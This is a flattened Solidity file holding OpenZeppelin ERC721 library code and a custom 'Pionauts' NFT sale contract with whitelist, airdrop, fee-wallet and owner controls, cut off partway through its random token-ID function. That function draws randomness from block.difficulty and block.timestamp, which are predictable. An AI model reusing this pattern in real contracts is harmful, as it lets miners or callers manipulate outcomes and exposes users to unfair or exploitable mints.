return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol)
pragma solidity ^0.8.0;
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return _tokenURI;
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Pausable.sol)
pragma solidity ^0.8.0;
/**
* @dev ERC721 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC721Pausable is ERC721, Pausable {
/**
* @dev See {ERC721-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
require(!paused(), "ERC721Pausable: token transfer while paused");
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Burnable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721Burnable is Context, ERC721 {
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: contracts/Pionauts.sol
//SPDX-License-Identifier:UNLICENSED
pragma solidity ^0.8.0;
contract Pionaut is ERC721, ERC721Enumerable, ERC721URIStorage, Pausable, Ownable, ERC721Burnable {
uint256 public MaxSupply = 1430;
uint256 public publicSaleLimit = 1430;
uint256 public publicSaleMinted = 0;
uint256 public price = 0.19 ether;
bool public saleOpen = false;
bool public whiteListOpen = false;
bool public airdropOpen = false;
uint public totalFeeUnitPercent = 1000;
uint public mintSplitFeePercent = 1000;
uint public royaltyMinterFeePercent = 10;
address public mintSplitFeeWallet = 0xA42215f5f405a4c2b079D3dcc668A52Eb4293636;
string public baseURI;
uint256 public publicSaleLimitPerAddress = 3;
mapping(address => uint256) public MintAmountPerPublicAddress;
mapping(address => uint256) public whitelist;
mapping(address => uint256) public whitelistMinted;
mapping(address => uint256) public airdroplist;
mapping(address => uint256) public airdropMinted;
uint256 public airdropMintTotalLimt = 0;
uint256 public airdropTotalMinted = 0;
uint256 public whitelistMintTotalLimit = 1430;
uint256 public whitelistTotalMinted = 0;
mapping(uint256 => address) public nftMinters;
receive() external payable {}
constructor() ERC721('Pionauts', 'PFP') {}
function setPublicSaleLimitPerAddress(uint256 _amount) public onlyOwner {
publicSaleLimitPerAddress = _amount;
}
function setWhiteListAddress(address[] memory who, uint256 amount) public onlyOwner {
for (uint256 i = 0; i < who.length; i++) whitelist[who[i]] = amount;
}
function setWhiteListMintTotalLimit(uint256 _amount) public onlyOwner {
whitelistMintTotalLimit = _amount;
}
function setAirdropAddress(address[] memory who, uint256 amount) public onlyOwner {
for (uint256 i = 0; i < who.length; i++) airdroplist[who[i]] = amount;
}
function setAirdropMintTotalLimit(uint256 _amount) public onlyOwner {
airdropMintTotalLimt = _amount;
}
function withdraw() public onlyOwner {
uint256 balance = address(this).balance;
payable(mintSplitFeeWallet).transfer((balance * mintSplitFeePercent) / totalFeeUnitPercent);
}
function setFee(uint256 _mintSplitFeePercent, uint256 _royaltyMinterFeePercent, uint256 _totalFeeUnitPercent) public onlyOwner{
mintSplitFeePercent = _mintSplitFeePercent;
royaltyMinterFeePercent = _royaltyMinterFeePercent;
totalFeeUnitPercent = _totalFeeUnitPercent;
}
function setWallets(address _mintSplitFeeWallet) public onlyOwner{
mintSplitFeeWallet = _mintSplitFeeWallet;
}
function getMinter(uint256 _tokenId) external view returns (address) {
return nftMinters[_tokenId];
}
function getRoyaltyFee() external view returns (uint256) {
return royaltyMinterFeePercent;
}
function getRoyaltyTotalFee() external view returns (uint256) {
return totalFeeUnitPercent;
}
function hasRoyaltyFee() external pure returns (bool) {
return true;
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
function toggleAirdrop() public onlyOwner {
airdropOpen = !airdropOpen;
}
function toggleSale() public onlyOwner {
saleOpen = !saleOpen;
}
function toggleWhiteListOpen() public onlyOwner {
whiteListOpen = !whiteListOpen;
}
function setBaseURI(string memory newBaseURI) public onlyOwner {
baseURI = newBaseURI;
}
function setPrice(uint256 newPrice) public onlyOwner {
price = newPrice;
}
function setMaxSupply(uint256 newAmount) public onlyOwner {
MaxSupply = newAmount;
}
function setPublicSaleLimit(uint256 newAmount) public onlyOwner {
publicSaleLimit = newAmount;
}
function _baseURI() internal view override returns (string memory) {
return baseURI;
}
function internalMint(address to, uint256 tokenId) internal {
_safeMint(to, tokenId);
}
function randomPickId() internal view returns (uint256) {
require(totalSupply() < MaxSupply, "Max Supply Limited!");
uint256 randomId = 0;
uint loopCount = 0;
do {
uint256 temp = (uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp, loopCount))) % MaxSupply) + 1;
loopCount ++;
if (_exists(temp) != true) {
